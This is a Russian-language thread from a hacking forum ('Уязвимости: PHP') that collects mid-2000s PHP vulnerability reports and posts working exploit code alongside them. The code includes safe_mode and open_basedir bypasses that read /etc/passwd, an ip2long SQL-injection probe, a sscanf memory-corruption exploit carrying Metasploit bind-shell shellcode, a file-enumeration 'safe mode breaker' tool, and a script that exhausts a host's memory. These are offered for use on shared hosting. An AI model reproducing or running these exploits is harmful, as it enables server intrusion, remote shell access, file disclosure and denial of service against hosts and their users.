• XSS.stack #1 – первый литературный журнал от юзеров форума

Уязвимости: PHP

zoommm

RAM
Пользователь
Регистрация
18.08.2005
Сообщения
117
Реакции
3
Обнаружены три новые уязвимости в PHP 4.4.2 и 5.1.2:
# Потенциальная возможность исполнения кода злоумышленника через переполнения буфера в функции wordwrap(), при передаче на вход специально сформированной строки большого размера (превышающего по размер по умолчанию выделяемой wordwrap() области памяти, примерно 1 Мб). В качестве решения рекомендуется ограничить размер входных данных через "php_admin_value post_max_size 512K";
# DoS через быстрый расход памяти, используя функцию array_fill(). Для защиты достаточно использовать разумное memory_limit ограничение в php.ini;
# DoS при сравнении использовании функции substr_compare(), в качестве длинны строки указав значения выходящее за допустимые границы.

Примечательно, что разработчики PHP были уведомлены о данных проблемах 45 дней назад, ответ до сих пор не получен, исправления не вышли.

http://www.infigo.hr/hr/in_focus/advisorie...FIGO-2006-04-02

я сам замечал лаги с php4 !!!очень частый лаг отображает 2 картинки вместо одной !и такое не давно видел даже на маиле.ру !!!!!
[mod][Ŧ1LAN:] прочитай правила прежде чем создавать тему[/mod]
 
Обход ограничений безопасности в PHP через модуль cURL
Уязвимые версии: 4.4.2, 5.1.4
Уязвимость локальная
Описание:
Злонамеренный пользователь может обойти ограничения safe mode при использовании специально сформированных аргументов для функций модуля cURL.
Пример:
Код:
<?
$ch = curl_init(”file://[файл, к которому вы хотите получить доступ].php\x00″.__FILE__);
curl_exec($ch);
var_dump(curl_exec($ch));
?>
-----
Оригинальный текст
 
Чем-то мне это напоминает случай с null_byte в cgi. Тоже окончание строки x00, там, правда, была %00, но похоже...
 
Обход функции ip2long в PHP
функция ip2long может вернуть допустимый IPv4 адрес вместо "-1", даже если аргумент не является верным ip-адресом.
e.g.
Код:
<?php
for ($i=0; $i<=255; $i++)
{
 echo $i.":".ip2long("1.1.1.1".chr($i).
"'or'a'='a'/*")."\r\n";
}
?>
Уязвимость может быть использована для внедрения символов в заголовки, связанные с IP-адресом (HTTP_X_FORWARDED_FOR, CLIENT_IP).
 
Обход ограничений safe_mode при использовании некорректного аргумента функции sscanf();
Пример:
Код:
<?php
// tested addresses from php5ts.dll (php 5.1.4) running win x64 pro
// $ptr_to_ptr_to_zval = "\x10\x43\x54\xCC";
// $ptr_to_zval = "\x10\x43\x54\xB0";
// $ptr_to_obj_handlers = "\x10\x43\x54\xAC"; // $ptr_to_zval-4


// addresses from php 5.1.4 cli, compiled with gcc version 3.3.6,
// kernel 2.6.14-hardened-r3
$ptr_to_ptr_to_zval = "\x08\x1A\x64\xC8";
$ptr_to_zval = "\x08\x1A\x60\x0C";
$ptr_to_obj_handlers = "\x08\x1A\x60\x08"; // $ptr_to_zval-4
// nop, nop, nop, mov eax,nex-4-bytes. to disarm 4 next bytes
$eip_hop_over = "\x90\x90\x90\xB8";

# linux_ia32_bind -  LPORT=5555 Size=108 Encoder=PexFnstenvSub http://metasploit.com
$shellcode =
"\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xef".
"\x57\xe6\x92\x83\xeb\xfc\xe2\xf4\xde\x8c\xb5\xd1\xbc\x3d\xe4\xf8".
"\x89\x0f\x7f\x1b\x0e\x9a\x66\x04\xac\x05\x80\xfa\xfa\xe4\x80\xc1".
"\x66\xb6\x8c\xf4\xb7\x07\xb7\xc4\x66\xb6\x2b\x12\x5f\x31\x37\x71".
"\x22\xd7\xb4\xc0\xb9\x14\x6f\x73\x5f\x31\x2b\x12\x7c\x3d\xe4\xcb".
"\x5f\x68\x2b\x12\xa6\x2e\x1f\x22\xe4\x05\x8e\xbd\xc0\x24\x8e\xfa".
"\xc0\x35\x8f\xfc\x66\xb4\xb4\xc1\x66\xb6\x2b\x12";

if(bin2hex(pack('S',0x0010))!="0010")
{	// small endian conversion
	$t = $ptr_to_ptr_to_zval;
	$ptr_to_ptr_to_zval = $t{3}.$t{2}.$t{1}.$t{0};

	$t = $ptr_to_zval;
	$ptr_to_zval = $t{3}.$t{2}.$t{1}.$t{0};

	$t = $ptr_to_obj_handlers;
	$ptr_to_obj_handlers = $t{3}.$t{2}.$t{1}.$t{0};
}

$object_zval = $eip_hop_over.$ptr_to_obj_handlers.$eip_hop_over.
               "\x05\x01\x90\x90".$shellcode."\xC3\x90\x90\x20";

$str = str_repeat($ptr_to_ptr_to_zval,20);
unset($str);

sscanf($object_zval,'%1$s',$str);

putenv("PHP_foo=".str_repeat($ptr_to_zval,64));
putenv("PHP_foo=");

sscanf("a ",'%1$s',$str);

?>
 
И снова обход safe_mode в php.
Уязвимость существует из-за недостаточного ограничения на смену параметров safe_mode и open_basedir в функции ini_restore(). Если эти ограничения установлены в настройках виртуального хоста Web сервера, а в файле php.ini находятся значения по умолчанию, злоумышленник может восстановить значения по умолчанию и обойти ограничения, установленный в конфигурационном файле Web сервера. Пример уязвимой конфигурации:

<Directory /usr/home/frajer/public_html/>
Options FollowSymLinks MultiViews Indexes
AllowOverride None
php_admin_flag safe_mode 1
php_admin_value open_basedir /usr/home/frajer/public_html/
</Directory>
И пример обхода
Код:
<?
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
ini_restore("safe_mode");
ini_restore("open_basedir");
echo ini_get("safe_mode");
echo ini_get("open_basedir");
include("/etc/passwd");
?>
Первоисточник присвоил уязвимости статус критической.
 
Эксплоит для просмотра имен файлов/папок на хостингах с включенным safe_mode в обход open_basedir. Пробивает php вплоть до 5.1.2

Код:
<?  

  // Safe mode breaker. eXpl0id by KPbIC [myiworm@mail.ru]
  // data: 28.01.2006

  error_reporting(E_WARNING);
  ini_set("display_errors", 1);

  echo "<head><title>".getcwd()."</title></head>";

  echo "<form method=POST>";
  echo "<div style='float: left'>Root directory: <input type=text name=root value='{$_POST['root']}'></div>";
  echo "<input type=submit value='--&raquo;'></form>";

  echo "<HR>";

  // break fucking safe-mode !

  $root = "/";

  if($_POST['root']) $root = $_POST['root'];

  if (!ini_get('safe_mode')) die("Safe-mode is OFF.");

  $c = 0; $D = array();
  set_error_handler("eh");

  $chars = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";

  for($i=0; $i < strlen($chars); $i++){
  $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}";

  $prevD = $D[count($D)-1];
  glob($path."*");

        if($D[count($D)-1] != $prevD){

        for($j=0; $j < strlen($chars); $j++){

           $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}";

           $prevD2 = $D[count($D)-1];
           glob($path."*");

              if($D[count($D)-1] != $prevD2){


                 for($p=0; $p < strlen($chars); $p++){

                 $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}";

                 $prevD3 = $D[count($D)-1];
                 glob($path."*");

                    if($D[count($D)-1] != $prevD3){


                       for($r=0; $r < strlen($chars); $r++){

                       $path ="{$root}".((substr($root,-1)!="/") ? "/" : NULL)."{$chars[$i]}{$chars[$j]}{$chars[$p]}{$chars[$r]}";
                       glob($path."*");

                       }

                    }        

                 }

              }        
   
        }    

        }

  }

  $D = array_unique($D);

  echo "<xmp>";
  foreach($D as $item) echo "{$item}\n";
  echo "</xmp>";




  function eh($errno, $errstr, $errfile, $errline){

     global $D, $c, $i;
     preg_match("/SAFE\ MODE\ Restriction\ in\ effect\..*whose\ uid\ is(.*)is\ not\ allowed\ to\ access(.*)owned by uid(.*)/", $errstr, $o);
     if($o){ $D[$c] = $o[2]; $c++;}

  }

?>
[mod][not null:] А согласно свежеопубликованного адвисори, пробивает и более поздние версии ;)[/mod]
 

Развивая сообщения прошлой недели об уязвимости в PHP, Штефан Эсзер опубликовал информацию об уязвимости, содержащюю дальнейшие подробности. Он сообщает там, что целочисленное переполнение ecalloc() функции ZendEngine1 может быть вызвано из-за специальных пользовательских данных, которые обработанных с помощью функции unserialize(). Эта функция используется прилодениями PHP такими, как phpBB2, Invision Power Board, vBulletin и Serendpity. Атакующий может использовать специально подготовленные cookies, чтобы внедрить код и затем выполнить его с привиллегиями пользователя. Эссер утверждает, что разработал эксплоит Proof-of-Concept, который запускает внедренный код. Подобная уязвимость в unserialize() была обнаружена в конце 2004.

Уязвимость затрагивает PHP 5 версий до 5.1.6 и PHP 4 до 4.3.0. Начиная с 4.3.0, по крайней мере в PHP4, защита существовала в ZendEngine1, чтобы принять меры против последствий целочисленного переполнения в ecalloc (), сообщает Эссен. Он также отмечает, что уязвимость была устранена в PHP CVS, но никакое обновление не будет выпущено. Пользователи должны вместо этого установить патч, выпущенный Hardened PHP Project или ждать PHP 5.2.0. Эссер планирует опубликовать его эксплоит, как только эта версия будет доступна.
 
Stefan Esser (проект Hardened-PHP) сообщает о наличии уязвимости в популярном скриптовом языке PHP (4-й и 5-й) версии, которая позволяет злоумышленнику получить доступ ко всей файловой системе несмотря на ограничения Open_Basedir. В качестве временной меры безопасности разработчики рекомендуют запретить использование функции symlink() через disable_functions в php.ini.


http://www.hardened-php.net/advisory_082006.132.html
 
03 ноября, 2006
Программа: PHP 4.0.x PHP 4.1.x PHP 4.2.x PHP 4.3.x PHP 4.4.x PHP 5.0.x PHP 5.1.x
Опасность: Критическая
Наличие эксплоита: Нет

Описание:
Уязвимость позволяет удаленному пользователю вызвать отказ в обслуживании или выполнить произвольный код на целевой системе.
Уязвимость существует из-за ошибки проверки границ данных в функциях "htmlentities()" и "htmlspecialchars()". злоумышленник может передать специально сформированные данные PHP приложению, использующему уязвимые функции, вызвать переполнение буфера и выполнить произвольный код на целевой системе.
Уязвимость позволяет перезаписать до 7 символов, внедряя некорректные UTF-8 символы в строку, которая будет обработана уязвимыми функциями. Символы ограничены 0x00, 0xc0-0xfd.

URL производителя: www.php.net
Решение: Уязвимость устранена в последней версии php - 5.2.0.

Ичточник: www.securitylab.ru

[mod][[br] :] Пытался заюзать инфу.. так и не получилось[/mod]
 
PHP 5.2.6 sleep() Local Memory Exhaust Exploit

Цель: PHP 5.2.6
Воздействие: Отказ в обслуживании

Code:
Код:
<?php
sleep(9999999);
echo 'Hello World';
?>
Will print hello world after 9999999 seconds... so max_execution_time simply dosnt work :P Why? we can find in manual:
"max_execution_time only affect the execution time of the script itself. Any time spent on activity that happens outside
the execution of the script such as system calls using system(), stream operations, database queries, etc. is not
included when determining the maximum time that the script has been running." including sleep() :P
We can use this vuln to run out memory on web/php hosting:
<?php
if (!file_exists('./temp')) (@mkdir("/temp", 0777))? $temp='temp/':
$temp='';
else $temp='temp/';
for($n=0;$n<128;$n++) {
    $rand = mt_rand();
    $fp = fopen("$temp$rand.php", 'w+');
    fwrite($fp, '<?php while(memory_get_usage()<16000000) $a.=\'X\';
sleep(999999999); ?>');// for 16mb memory limit
    fclose($fp);
    echo "<iframe src=\"$temp$rand.php\" name=$n width=\"10\"
height=\"10\"></iframe>";
}
?>
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх